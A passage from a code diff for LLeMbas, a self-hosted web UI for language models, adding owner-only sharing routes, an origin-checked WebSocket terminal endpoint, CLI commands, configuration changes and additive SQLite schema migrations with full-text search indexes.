+along with the resource's save form. Three reasons, in the order they bite:
+
+- **It rendered every group and every person on the instance, unpaginated, on
+  every detail page.** That is fine for a household and unusable for anything
+  else, and the page it is on has nothing to do with how many accounts exist.
+- **A share was only stored if the resource was saved.** Ticking a box and
+  navigating away did nothing, silently, which is the shape of failure this
+  codebase keeps cataloguing.
+- Sharing a *report* has no save form to ride along with at all.
+
+So: search, and each grant is its own POST. The fragment re-renders itself after
+every change, which is what keeps "who can see this" a thing you read rather
+than a thing you reconstruct from checkboxes.
+
+**Only the owner may reach any of it.** Somebody a thing was shared with cannot
+share it on -- that is what keeps "who can see this?" answerable by asking one
+person -- and the check is `sharing.can_write`, which is ownership and nothing
+else.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from sqlalchemy import or_, select
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.db.models import (
+    PRINCIPAL_GROUP,
+    PRINCIPAL_USER,
+    Group,
+    KnowledgeBase,
+    Note,
+    Report,
+    Skill,
+    User,
+)
+from lembas.security import permissions
+from lembas.services import sharing
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/library/share", tags=["sharing"])
+
+# What a URL may name, and what it resolves to. A fixed table rather than a
+# lookup by string on `sharing.RESOURCE_TYPES`, because that one maps class to
+# string and this needs the other direction -- and because a route segment is
+# request input, so the set of things it may name belongs written down.
+KINDS: dict[str, type] = {
+    "base": KnowledgeBase,
+    "note": Note,
+    "skill": Skill,
+    "report": Report,
+}
+
+# Candidates offered at once. Enough that a small instance never has to type
+# anything, few enough that a large one is not a page of names.
+MAX_CANDIDATES = 12
+
+
+def _resource(db: Db, kind: str, resource_id: str, user: User):
+    model = KINDS.get(kind)
+    if model is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "Not a shareable kind.")
+    resource = db.get(model, resource_id)
+    # Ownership, not readability. Being able to see a thing is not being able to
+    # give it away, and the 404 rather than a 403 is deliberate: somebody who
+    # cannot share it has no business learning whether it exists.
+    if resource is None or not sharing.can_write(resource, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That is not yours to share.")
+    return resource
+
+
+def _panel(request: Request, db: Db, user: User, kind: str, resource, q: str = "") -> Response:
+    grants = sharing.grants_for(db, resource)
+    shared_users = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER]
+    shared_groups = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP]
+
+    needle = q.strip()
+    pattern = f"%{needle}%"
+    group_query = select(Group).order_by(Group.name)
+    people_query = select(User).where(User.id != user.id).order_by(User.name)
+    if needle:
+        group_query = group_query.where(Group.name.ilike(pattern))
+        people_query = people_query.where(
+            or_(User.name.ilike(pattern), User.email.ilike(pattern))
+        )
+
+    # Anything already shared is shown whatever the search says, or the only way
+    # to remove a grant would be to search for the name it was given to.
+    groups = list(db.scalars(group_query.limit(MAX_CANDIDATES)))
+    people = list(db.scalars(people_query.limit(MAX_CANDIDATES)))
+    for existing in db.scalars(select(Group).where(Group.id.in_(shared_groups or [""]))):
+        if existing.id not in {g.id for g in groups}:
+            groups.insert(0, existing)
+    for existing in db.scalars(select(User).where(User.id.in_(shared_users or [""]))):
+        if existing.id not in {p.id for p in people}:
+            people.insert(0, existing)
+
+    return render(
+        request,
+        "library/_share_panel.html",
+        {
+            "kind": kind,
+            "resource": resource,
+            "q": needle,
+            "groups": groups,
+            "people": people,
+            "shared_users": shared_users,
+            "shared_groups": shared_groups,
+            "share_count": len(grants),
+            # Whether the lists were cut, so the panel can say "search for
+            # somebody" rather than implying these are all the names there are.
+            "truncated": len(people) >= MAX_CANDIDATES or len(groups) >= MAX_CANDIDATES,
+        },
+    )
+
+
+@router.get("/{kind}/{resource_id}")
+async def share_panel(
+    request: Request, db: Db, user: RequiredUser, kind: str, resource_id: str, q: str = ""
+) -> Response:
+    resource = _resource(db, kind, resource_id, user)
+    if not permissions.has(db, user, "library.share"):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "You may not share things.")
+    return _panel(request, db, user, kind, resource, q)
+
+
+@router.post("/{kind}/{resource_id}")
+async def set_share(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    kind: str,
+    resource_id: str,
+    principal_type: str = Form(""),
+    principal_id: str = Form(""),
+    on: bool = Form(False),
+    q: str = Form(""),
+) -> Response:
+    """Add or remove one grant, and answer with the panel.
+
+    One grant per request rather than a submitted set, because the set is what
+    made the old panel need every name on the instance in front of you before
+    you could change one of them.
+    """
+    resource = _resource(db, kind, resource_id, user)
+    if not permissions.has(db, user, "library.share"):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "You may not share things.")
+    if principal_type not in (PRINCIPAL_USER, PRINCIPAL_GROUP):
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, "Unknown principal.")
+
+    grants = sharing.grants_for(db, resource)
+    users = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER]
+    groups = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP]
+    target = users if principal_type == PRINCIPAL_USER else groups
+
+    # Validated against what exists, so a crafted id cannot write a grant naming
+    # nothing -- which would be invisible in the panel and unremovable from it.
+    exists = db.get(User if principal_type == PRINCIPAL_USER else Group, principal_id)
+    if on and exists is not None and principal_id not in target:
+        target.append(principal_id)
+    elif not on and principal_id in target:
+        target.remove(principal_id)
+
+    sharing.set_grants(db, resource, user_ids=users, group_ids=groups)
+    log.info(
+        "%s %s %s %s with %s", user.email, "shared" if on else "unshared", kind,
+        resource_id, principal_id,
+    )
+    return _panel(request, db, user, kind, resource, q)

src/lembas/api/terminal.py

@@ -0,0 +1,340 @@
+"""The socket behind the terminal panel.
+
+A WebSocket rather than SSE, because SSE is one-directional and a terminal is
+not: keystrokes have to go up, and an HTTP round trip per keypress is not a
+terminal. It is the only WebSocket in LLeMbas, and it is worth saying what that
+costs -- a cross-site page that could reach this endpoint would have a shell on
+somebody's machine, not merely a copy of their chat. So there are two locks on
+the door, and this module is mostly them.
+
+**Where a refusal happens is load-bearing.** A browser tells a page nothing
+about a handshake that *failed*: `new WebSocket()` fires `error` with no status
+and no reason. So the socket is accepted first and the reason sent as a frame
+for everything a person could act on -- no permission, the connection is
+disabled, its host key was never confirmed -- and refused before accepting only
+for the two cases where accepting is itself the risk.
+
+It holds no database session. A dependency would keep one open for the hour a
+shell sits at a prompt; `session_scope()` opens one for the authorisation and
+closes it, exactly as `generation._run` does.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import contextlib
+import json
+import logging
+from urllib.parse import urlsplit
+
+from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.db.models import KIND_AGENT, Chat
+from lembas.db.session import session_scope
+from lembas.security import permissions
+from lembas.security.sessions import COOKIE_NAME, resolve_session
+from lembas.services import settings_store
+from lembas.services.agent import draft as draft_service
+from lembas.services.agent import session as agent_session
+from lembas.services.agent import terminal as terminal_service
+from lembas.services.agent.base import ExecError
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/chats", tags=["terminal"])
+
+# Nothing a keyboard produces is anywhere near this. Paste is the only thing
+# that comes close, and a megabyte pasted into a shell is a mistake either way.
+MAX_INPUT_BYTES = 256 * 1024
+
+# 1008 is "policy violation", the closest thing the protocol has to "no".
+CLOSE_POLICY = 1008
+
+# What the far side is told when a shell ends, in words rather than a code.
+CLOSED_WORDS = {
+    terminal_service.CLOSED_EXITED: "The shell exited.",
+    terminal_service.CLOSED_IDLE: "This terminal was closed after sitting idle.",
+    terminal_service.CLOSED_SHUTDOWN: "LLeMbas restarted, so this shell was closed.",
+    terminal_service.CLOSED_REVOKED: "The connection behind this terminal was closed.",
+    terminal_service.CLOSED_ERROR: "The connection to the machine was lost.",
+}
+
+
+def _same_origin(websocket: WebSocket) -> bool:
+    """Whether this handshake came from a page served by this site.
+
+    Required, not merely checked when present. The session cookie is SameSite
+    Lax, which already withholds it from a handshake a foreign page starts, and
+    this is the belt to that brace -- an absent Origin is not a browser, and a
+    non-browser client has no business here.
+    """
+    origin = websocket.headers.get("origin")
+    host = websocket.headers.get("host")
+    if not origin or not host:
+        return False
+    return urlsplit(origin).netloc.lower() == host.lower()
+
+
+def _chat_or_draft(db, user, chat_id: str):
+    """The chat this panel belongs to, real or still being decided.
+
+    A draft resolves to a transient `Chat` -- see services/agent/draft.py --
+    which is what lets the terminal open on the new-chat screen without
+    `_prepare` or `agent_session.resolve` learning that drafts exist.
+    """
+    if draft_service.is_draft(chat_id):
+        draft = draft_service.get(chat_id, user.id)
+        return draft_service.as_chat(draft) if draft is not None else None
+    chat = db.get(Chat, chat_id)
+    return chat if chat is not None and chat.user_id == user.id else None
+
+
+def _prepare(db, user, chat_id: str) -> tuple[str, dict]:
+    """Everything that has to be true, and what opening needs. One or the other.
+
+    Returns a message to show, or the arguments for `open_session`. The order is
+    the order somebody would ask the questions in, and every "no" is a sentence
+    rather than a silence.
+    """
+    if not permissions.has(db, user, "agent.terminal"):
+        return "You do not have permission to open a terminal.", {}
+
+    chat = _chat_or_draft(db, user, chat_id)
+    if chat is None:
+        return "That chat no longer exists.", {}
+    if chat.kind != KIND_AGENT:
+        return "This is an ordinary chat, so it has no machine to open a shell on.", {}
+
+    values = settings_store.agents(db)
+    if not values.get("terminal_enabled", True):
+        return "The terminal is switched off on this instance.", {}
+
+    context = agent_session.resolve(db, chat, user)
+    if context is None:
+        return (
+            "This chat's connection is not usable: it may have been deleted, "
+            "disabled, or agent chats may be switched off here.",
+            {},
+        )
+
+    return "", {
+        "owner_id": user.id,
+        "profile_id": chat.ssh_profile_id or "",
+        "label": context.label,
+        "spec": context.spec,
+        "project_dir": context.project_dir,
+        "idle_timeout": float(values["terminal_idle_timeout"]),
+        "max_sessions": int(values["terminal_max_sessions"]),
+        "max_per_user": int(values["terminal_max_per_user"]),
+        "integrate": bool(values.get("terminal_integration", True)),
+    }
+
+
+@router.websocket("/{chat_id}/terminal/ws")
+async def terminal_socket(
+    websocket: WebSocket,
+    chat_id: str,
+    cols: int = 80,
+    rows: int = 24,
+) -> None:
+    if not _same_origin(websocket):
+        await websocket.close(code=CLOSE_POLICY)
+        return
+
+    with session_scope() as db:
+        user = resolve_session(db, websocket.cookies.get(COOKIE_NAME))
+        if user is None:
+            await websocket.close(code=CLOSE_POLICY)
+            return
+        problem, opening = _prepare(db, user, chat_id)
+        owner_email = user.email
+
+    await websocket.accept()
+    if problem:
+        await _refuse(websocket, problem)
+        return
+
+    try:
+        session = await terminal_service.open_session(chat_id, cols=cols, rows=rows, **opening)
+    except ExecError as exc:
+        await _refuse(websocket, str(exc))
+        return
+    except Exception:  # noqa: BLE001 - a failure here is one socket, not the app
+        log.exception("could not open a terminal for %s", owner_email)
+        await _refuse(websocket, "The shell could not be started.")
+        return
+
+    # Shaping a frame is this layer's job, not the session's; the session only
+    # knows it finished something. Reassigned per socket and harmless: every
+    # socket on this session would build the identical frame.
+    session.on_command = lambda found: session.announce(
+        json.dumps({"t": "command", "command": _command_frame(found)})
+    )
+
+    viewer = session.attach(cols, rows)
+    await websocket.send_text(
+        json.dumps(
+            {
+                "t": "ready",
+                "label": session.label,
+                "dir": session.project_dir,
+                "cols": session.cols,
+                "rows": session.rows,
+                # Two tabs share one shell, and a size neither of them chose is
+                # otherwise a mystery.
+                "shared": len(session.viewers) > 1,
+                # Whether this shell will tell us where commands begin and end,
+                # which is what the Copy and Send buttons are made of.
+                "integration": session.integration,
+                "last": _command_frame(session.latest()),
+            }
+        )
+    )
+    if viewer.snapshot:
+        await websocket.send_bytes(viewer.snapshot)
+
+    downward = asyncio.create_task(_to_browser(websocket, session, viewer))
+    upward = asyncio.create_task(_from_browser(websocket, session, viewer))
+    try:
+        await asyncio.wait({downward, upward}, return_when=asyncio.FIRST_COMPLETED)
+    finally:
+        for task in (downward, upward):
+            task.cancel()
+            with contextlib.suppress(asyncio.CancelledError, Exception):
+                await task
+        # The session is deliberately left running. Closing the panel, or
+        # navigating away, is not "I am finished with this machine" -- a build
+        # carries on and the scrollback is still there on the way back. The
+        # idle timeout is what eventually ends it.
+        session.detach(viewer)
+
+
+@router.get("/{chat_id}/terminal/last")
+async def last_command(db: Db, user: RequiredUser, chat_id: str) -> dict:
+    """The last command and its output, rendered ready to paste.
+
+    The *server* renders the text, so Copy and Send are a fetch and a
+    clipboard write with no formatting logic in the browser -- and the block a
+    model eventually reads exists in exactly one place. The panel's own screen
+    buffer could not produce it anyway: it holds what is on screen, hard-wrapped
+    at the terminal's width, with no way to tell a wrap from a newline.
+    """
+    if _chat_or_draft(db, user, chat_id) is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    if not permissions.has(db, user, "agent.terminal"):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot open a terminal.")
+
+    session = terminal_service.get(chat_id)
+    found = session.latest() if session is not None else None
+    if session is None or found is None:
+        return {
+            "ok": False,
+            "message": "Nothing has been run in this shell yet."
+            if session is not None
+            else "This terminal is not open.",
+        }
+
+    return {
+        "ok": True,
+        "command": found.command,
+        "cwd": found.cwd,
+        "exit": found.exit_status,
+        "running": found.running,
+        "summary": found.summary(),
+        "text": found.as_text(label=session.label),
+    }
+
+
+def _command_frame(found) -> dict | None:
+    """A finished command, small enough to push at every viewer.
+
+    Tens of bytes, and deliberately *not* the output: a 64KB text frame would
+    compete with PTY bytes on the one path that has to stay responsive, and the
+    two buttons are pressed by a person, where a request is the natural shape.
+    """
+    if found is None:
+        return None
+    return {
+        "seq": found.seq,
+        "command": found.command,
+        "cwd": found.cwd,
+        "exit": found.exit_status,
+        "running": found.running,
+        "ms": found.duration_ms,
+        "summary": found.summary(),
+    }
+
+
+async def _to_browser(websocket: WebSocket, session, viewer) -> None:
+    """Everything the shell says, plus the one frame that says it stopped."""
+    while True:
+        chunk = await viewer.queue.get()
+        if chunk is None:
+            reason = terminal_service.CLOSED_EXITED if viewer.dropped else session.closed_reason
+            payload = {"t": "closed", "reason": reason, "message": _words(reason)}
+            if viewer.dropped:
+                # Not the session's doing: this browser stopped reading and was
+                # disconnected so the others kept up. Reconnecting costs it
+                # nothing, because the scrollback is the state.
+                payload = {"t": "behind", "message": "Reconnecting: output arrived faster than "
+                           "this window could draw it."}
+            with contextlib.suppress(Exception):
+                await websocket.send_text(json.dumps(payload))
+            return
+        # A string in the queue is a control frame that had to keep its place
+        # in the stream -- see `Session.announce`.
+        if isinstance(chunk, str):
+            await websocket.send_text(chunk)
+            continue
+        await websocket.send_bytes(chunk)
+
+
+async def _from_browser(websocket: WebSocket, session, viewer) -> None:
+    """Keystrokes as binary, everything else as JSON.
+
+    Binary for the hot path is what makes multi-byte characters safe: a read on
+    the far side lands mid-sequence often enough to matter, and decoding each
+    frame here would corrupt every boundary. Nothing decodes, so nothing splits.
+    """
+    while True:
+        try:
+            message = await websocket.receive()
+        except WebSocketDisconnect:
+            return
+        if message["type"] == "websocket.disconnect":
+            return
+
+        data = message.get("bytes")
+        if data is not None:
+            if len(data) > MAX_INPUT_BYTES:
+                continue
+            await session.send(data)
+            continue
+
+        text = message.get("text")
+        if text:
+            _control(session, viewer, text)
+
+
+def _control(session, viewer, text: str) -> None:
+    try:
+        payload = json.loads(text)
+    except ValueError:
+        return
+    if not isinstance(payload, dict) or payload.get("t") != "resize":
+        return
+    session.resize(viewer, payload.get("cols", 80), payload.get("rows", 24))
+
+
+def _words(reason: str) -> str:
+    return CLOSED_WORDS.get(reason, "This terminal closed.")
+
+
+async def _refuse(websocket: WebSocket, message: str) -> None:
+    """Say why, then close. Sent as a frame because a browser cannot read a
+    rejected handshake -- the reason would be lost exactly when it is needed."""
+    with contextlib.suppress(Exception):
+        await websocket.send_text(json.dumps({"t": "error", "message": message}))
+    with contextlib.suppress(Exception):
+        await websocket.close()

src/lembas/cli.py

@@ -0,0 +1,112 @@
+"""Command line entry points."""
+
+from __future__ import annotations
+
+import secrets as secrets_module
+
+import typer
+import uvicorn
+from sqlalchemy import func, select
+
+from lembas import __version__
+from lembas.config import settings
+
+app = typer.Typer(
+    help="LLeMbas - a Middle-earth themed web UI for your language models.",
+    no_args_is_help=True,
+    add_completion=False,
+)
+
+
+@app.command()
+def serve(
+    host: str = typer.Option(None, help="Bind address. Defaults to LEMBAS_HOST."),
+    port: int = typer.Option(None, help="Port. Defaults to LEMBAS_PORT."),
+    reload: bool = typer.Option(None, "--reload/--no-reload", help="Autoreload on change."),
+) -> None:
+    """Run the web server."""
+    uvicorn.run(
+        "lembas.main:app",
+        host=host or settings.host,
+        port=port or settings.port,
+        reload=settings.reload if reload is None else reload,
+        log_level=settings.log_level,
+        # Access logs duplicate what the application already logs and drown out
+        # anything useful during development.
+        access_log=settings.log_level == "debug",
+    )
+
+
+@app.command("create-admin")
+def create_admin(
+    email: str = typer.Option(..., prompt=True),
+    name: str = typer.Option(..., prompt=True),
+    password: str = typer.Option(..., prompt=True, hide_input=True, confirmation_prompt=True),
+) -> None:
+    """Create an administrator, or promote an existing account to one.
+
+    The web sign-up already makes the first account an admin. This is the way
+    back in when that account is lost, or when scripting a deployment.
+    """
+    from lembas.db.models import ROLE_ADMIN, User
+    from lembas.db.session import init_db, session_scope
+    from lembas.security.passwords import hash_password, validate_password
+
+    if (problem := validate_password(password)) is not None:
+        typer.secho(problem, fg=typer.colors.RED)
+        raise typer.Exit(1)
+
+    init_db()
+    with session_scope() as db:
+        existing = db.scalar(select(User).where(User.email == email.strip().lower()))
+        if existing is not None:
+            existing.role = ROLE_ADMIN
+            existing.password_hash = hash_password(password)
+            existing.active = True
+            typer.secho(f"Promoted {existing.email} to administrator.", fg=typer.colors.GREEN)
+            return
+
+        db.add(
+            User(
+                email=email.strip().lower(),
+                name=name.strip(),
+                password_hash=hash_password(password),
+                role=ROLE_ADMIN,
+            )
+        )
+        typer.secho(f"Created administrator {email}.", fg=typer.colors.GREEN)
+
+
+@app.command("secret-key")
+def secret_key() -> None:
+    """Print a fresh value for LEMBAS_SECRET_KEY."""
+    typer.echo(secrets_module.token_urlsafe(48))
+
+
+@app.command()
+def info() -> None:
+    """Show where this instance keeps its data and what is configured."""
+    from lembas.db.models import Chat, Connection, User
+    from lembas.db.session import init_db, session_scope
+
+    init_db()
+    typer.echo(f"LLeMbas {__version__}")
+    typer.echo(f"  data directory : {settings.data_dir.resolve()}")
+    typer.echo(f"  database       : {settings.db_path.resolve()}")
+    typer.echo(f"  bind           : {settings.host}:{settings.port}")
+    typer.echo(f"  default theme  : {settings.default_theme}")
+    typer.echo(f"  signup open    : {settings.allow_signup}")
+    if settings.secret_key_is_ephemeral:
+        typer.secho(
+            "  secret key     : GENERATED (set LEMBAS_SECRET_KEY for a real install)",
+            fg=typer.colors.YELLOW,
+        )
+
+    with session_scope() as db:
+        for label, model in (("users", User), ("connections", Connection), ("chats", Chat)):
+            count = db.scalar(select(func.count()).select_from(model))
+            typer.echo(f"  {label:<15}: {count}")
+
+
+if __name__ == "__main__":
+    app()

src/lembas/config.py

@@ -7,7 +7,7 @@ from functools import lru_cache
 from pathlib import Path
 from typing import Literal
 
-from pydantic import Field, field_validator
+from pydantic import Field, model_validator
 from pydantic_settings import BaseSettings, SettingsConfigDict
 
 
@@ -22,6 +22,10 @@ class Settings(BaseSettings):
     )
 
     secret_key: str = Field(default="")
+    # Set when no LEMBAS_SECRET_KEY was supplied and one had to be invented.
+    # main.py warns about it at startup; see the validator below.
+    secret_key_is_ephemeral: bool = Field(default=False, exclude=True)
+
     data_dir: Path = Path("./data")
 
     host: str = "127.0.0.1"
@@ -34,13 +38,31 @@ class Settings(BaseSettings):
     session_ttl: int = 60 * 60 * 24 * 30
     request_timeout: float = 300.0
 
-    @field_validator("secret_key")
+    # What `/admin/updates` compares against and the helper deploys.
-    @classmethod
+    #
-    def _generate_secret_if_absent(cls, v: str) -> str:
+    # Deployment configuration and deliberately not instance settings: they
-        # A generated key lets `lembas serve` work out of the box, but it changes
+    # decide what code runs on this machine, and a value a web administrator
-        # on every restart: sessions drop and stored API keys become unreadable.
+    # could edit would turn "you may deploy the channel" into "you may deploy
-        # main.py warns loudly about this. Never rely on it in production.
+    # anything". `deploy/install.sh` writes both beside the rest.
-        return v or secrets.token_urlsafe(48)
+    #
+    # `stable` follows the newest release tag; `edge` follows the branch tip.
+    # Stable is the default because a branch tip is not a release -- following
+    # one means deploying whatever was pushed five minutes ago, which is right
+    # for whoever is building this and wrong for whoever is running it.
+    update_channel: Literal["stable", "edge"] = "stable"
+    # Which branch is fetched, and which one `edge` follows. Stable needs it too:
+    # a fetch has to name a branch, and tags come down with it.
+    update_branch: str = "main"
+
+    @model_validator(mode="after")
+    def _generate_secret_if_absent(self) -> Settings:
+        # A generated key lets `lembas serve` work with no configuration at all,
+        # but it changes on every restart: sessions drop and stored API keys
+        # become unreadable. Flagged so startup can warn. Never use in anger.
+        if not self.secret_key:
+            self.secret_key = secrets.token_urlsafe(48)
+            self.secret_key_is_ephemeral = True
+        return self
 
     @property
     def db_path(self) -> Path:

src/lembas/db/migrations.py

@@ -0,0 +1,233 @@
+"""Additive schema synchronisation.
+
+This project has no Alembic, by design: it is SQLite-only and the schema is
+created at startup. That was fine until the first live instance had data in it,
+at which point adding a column to a model stopped being free -- ``create_all``
+only creates missing *tables*, so a new column silently never appears and every
+query mentioning it fails.
+
+What this module does instead is derive the migration from the models: compare
+each table's declared columns against what the database actually has, and
+``ALTER TABLE ... ADD COLUMN`` for whatever is missing. That covers new tables
+and new columns, which is essentially every schema change this project makes.
+
+What it deliberately does NOT do:
+
+* rename, drop or retype a column
+* add a PRIMARY KEY or UNIQUE constraint to an existing table
+* backfill anything requiring application logic
+
+SQLite cannot do most of those with ALTER TABLE anyway; they need the
+create-copy-swap dance. Anything in that category is a hand-written job and
+should be added to MANUAL_STEPS below so it is at least visible.
+"""
+
+from __future__ import annotations
+
+import logging
+from typing import Any
+
+from sqlalchemy import Engine, inspect, text
+from sqlalchemy.schema import Column, Table
+
+from lembas.db.base import Base
+
+log = logging.getLogger(__name__)
+
+# Schema changes that this module cannot perform. Kept as documentation so a
+# failure has somewhere to point rather than being a mystery.
+MANUAL_STEPS: list[str] = []
+
+
+def _literal_default(column: Column) -> str | None:
+    """A SQL literal to backfill an existing row's new column with.
+
+    SQLite refuses to add a NOT NULL column without a default, and refuses a
+    non-constant default. Python-side defaults (``default=dict``,
+    ``default=utcnow``) are callables and cannot be expressed in DDL, so the
+    value is derived from the column type instead. New rows still get the real
+    Python default; this only fills the rows that already exist.
+    """
+    default = column.default
+    if default is not None and not default.is_callable and not default.is_clause_element:
+        value: Any = default.arg
+        if isinstance(value, bool):
+            return "1" if value else "0"
+        if isinstance(value, (int, float)):
+            return str(value)
+        if isinstance(value, str):
+            escaped = value.replace("'", "''")
+            return f"'{escaped}'"
+
+    affinity = column.type.__class__.__name__.upper()
+    if "JSON" in affinity:
+        # MutableList columns must start as [] and MutableDict as {}; guessing
+        # wrong makes the first read blow up rather than return empty.
+        python_type = getattr(column.type, "python_type", None)
+        return "'[]'" if python_type is list else "'{}'"
+    if "BOOL" in affinity:
+        return "0"
+    if any(token in affinity for token in ("INT", "FLOAT", "NUMERIC", "DECIMAL")):
+        return "0"
+    if "DATE" in affinity or "TIME" in affinity:
+        return "CURRENT_TIMESTAMP"
+    if any(token in affinity for token in ("STRING", "TEXT", "VARCHAR", "CHAR")):
+        return "''"
+    return None
+
+
+def _add_column_sql(table: Table, column: Column, dialect) -> str | None:
+    type_sql = column.type.compile(dialect)
+    default = _literal_default(column)
+
+    if not column.nullable and default is None:
+        log.error(
+            "cannot add NOT NULL column %s.%s: no usable default. Add it by hand.",
+            table.name,
+            column.name,
+        )
+        return None
+
+    parts = [f'ALTER TABLE "{table.name}" ADD COLUMN "{column.name}" {type_sql}']
+    if not column.nullable:
+        # SQLite refuses a NOT NULL column with no default, so existing rows
+        # have to be given something. That is the only reason a default is
+        # emitted at all.
+        parts.append("NOT NULL")
+        parts.append(f"DEFAULT {default}")
+    # A nullable column gets no default on purpose. Backfilling one would give
+    # existing rows a value the model does not consider absent -- an added
+    # foreign key would arrive as "" rather than NULL, and every "is this set?"
+    # check downstream would be wrong about rows that predate it.
+    return " ".join(parts)
+
+
+# --- Full-text search --------------------------------------------------------
+# The library stores are searched rather than listed, and LIKE over a few
+# hundred documents ranks nothing and matches badly. SQLite ships FTS5, so the
+# index costs no dependency and works offline like everything else here.
+#
+# These are the one part of the schema this module's model-diffing cannot
+# derive: an FTS5 virtual table is not a SQLAlchemy model, has no columns to
+# compare, and needs triggers to stay in step with the table it shadows. So it
+# is written out -- but written out *idempotently*, with IF NOT EXISTS
+# throughout, which keeps it the same kind of thing as the column sync: run it
+# at every startup and it converges.
+#
+# `content=` makes each index external-content: the text is not stored twice,
+# and the triggers below are what the FTS5 documentation calls for to keep an
+# external-content index correct through updates and deletes.
+FTS_INDEXES: tuple[tuple[str, str, tuple[str, ...]], ...] = (
+    ("documents_fts", "documents", ("title", "description", "extracted_text")),
+    ("notes_fts", "notes", ("title", "body")),
+    ("skills_fts", "skills", ("name", "description", "body")),
+    ("reports_fts", "reports", ("title", "summary", "body")),
+)
+
+
+def _fts_statements(index: str, table: str, columns: tuple[str, ...]) -> list[str]:
+    # `id` rides along UNINDEXED so a match can be turned straight back into an
+    # ORM row. The alternative is joining on rowid, which SQLAlchemy models do
+    # not expose and which changes under VACUUM.
+    columns = ("id", *columns)
+    column_list = ", ".join(columns)
+    declared = ", ".join(
+        f"{name} UNINDEXED" if name == "id" else name for name in columns
+    )
+    new_values = ", ".join(f"new.{name}" for name in columns)
+    old_values = ", ".join(f"old.{name}" for name in columns)
+
+    return [
+        f"CREATE VIRTUAL TABLE IF NOT EXISTS {index} USING fts5("
+        f"{declared}, content='{table}', content_rowid='rowid')",
+        # 'delete' rows carry the old values because an external-content index
+        # cannot look them up itself once the source row has gone.
+        f"""CREATE TRIGGER IF NOT EXISTS {index}_ai AFTER INSERT ON {table} BEGIN
+              INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
+            END""",
+        f"""CREATE TRIGGER IF NOT EXISTS {index}_ad AFTER DELETE ON {table} BEGIN
+              INSERT INTO {index}({index}, rowid, {column_list})
+              VALUES ('delete', old.rowid, {old_values});
+            END""",
+        f"""CREATE TRIGGER IF NOT EXISTS {index}_au AFTER UPDATE ON {table} BEGIN
+              INSERT INTO {index}({index}, rowid, {column_list})
+              VALUES ('delete', old.rowid, {old_values});
+              INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
+            END""",
+    ]
+
+
+def ensure_fts(engine: Engine) -> list[str]:
+    """Create the search indexes and their triggers if they are missing.
+
+    Returns the indexes it created. A failure here is logged and swallowed:
+    search degrading to "finds nothing" is bad, but it is much better than the
+    application refusing to start.
+    """
+    created: list[str] = []
+    inspector = inspect(engine)
+    known = set(inspector.get_table_names())
+
+    with engine.begin() as connection:
+        for index, table, columns in FTS_INDEXES:
+            if table not in known:
+                continue
+            fresh = index not in known
+            for statement in _fts_statements(index, table, columns):
+                connection.execute(text(statement))
+            if fresh:
+                # Backfill anything already in the table. Only on creation --
+                # the triggers keep it current from then on.
+                column_list = ", ".join(("id", *columns))
+                connection.execute(
+                    text(
+                        f"INSERT INTO {index}(rowid, {column_list}) "
+                        f"SELECT rowid, {column_list} FROM {table}"
+                    )
+                )
+                created.append(index)
+
+    return created
+
+
+def sync_schema(engine: Engine) -> list[str]:
+    """Bring the database up to the declared schema. Returns what it changed."""
+    import lembas.db.models  # noqa: F401  (registers every table on the metadata)
+
+    changes: list[str] = []
+
+    inspector = inspect(engine)
+    known_tables = set(inspector.get_table_names())
+    for table in Base.metadata.sorted_tables:
+        if table.name not in known_tables:
+            changes.append(f"create table {table.name}")
+
+    # Creates anything missing; existing tables are left alone.
+    Base.metadata.create_all(bind=engine)
+
+    inspector = inspect(engine)
+    with engine.begin() as connection:
+        for table in Base.metadata.sorted_tables:
+            existing = {col["name"] for col in inspector.get_columns(table.name)}
+            for column in table.columns:
+                if column.name in existing:
+                    continue
+                statement = _add_column_sql(table, column, engine.dialect)
+                if statement is None:
+                    continue
+                connection.execute(text(statement))
+                changes.append(f"add column {table.name}.{column.name}")
+                log.info("schema: %s", statement)
+
+    try:
+        for index in ensure_fts(engine):
+            changes.append(f"create search index {index}")
+    except Exception:  # noqa: BLE001 - search is not worth refusing to start over
+        log.exception("could not create the full-text search indexes")
+
+    if changes:
+        log.info("schema synchronised: %d change(s)", len(changes))
+    for step in MANUAL_STEPS:
+        log.warning("manual schema step still required: %s", step)
+
+    return changes

src/lembas/db/models/__init__.py

@@ -5,7 +5,27 @@ what ``init_db()`` relies on to create the schema at startup. Any new model
 module must be imported here or its table will silently never be created.
 """
 
+from lembas.db.models.agent import (
+    AUTH_KEY,
+    AUTH_METHODS,
+    AUTH_PASSWORD,
+    Job,
+    SshProfile,
+)
+from lembas.db.models.attachment import (
+    KIND_DOCUMENT,
+    KIND_IMAGE,
+    KIND_TEXT,
+    Attachment,
+)
+from lembas.db.models.canvas import ScratchDoc
 from lembas.db.models.chat import (
+    ALL_KINDS,
+    KIND_AGENT,
+    KIND_CHAT,
+    KIND_MESSAGES,
+    KIND_TASK,
+    KINDS,
     ROLE_ASSISTANT,
     ROLE_SYSTEM,
     ROLE_TOOL,
@@ -14,32 +34,165 @@ from lembas.db.models.chat import (
     Folder,
     Message,
 )
-from lembas.db.models.connection import Connection, Model
+from lembas.db.models.connection import Connection, Model, model_groups
+from lembas.db.models.image import ImageWorkflow
+from lembas.db.models.library import (
+    AUTHOR_MODEL,
+    AUTHOR_USER,
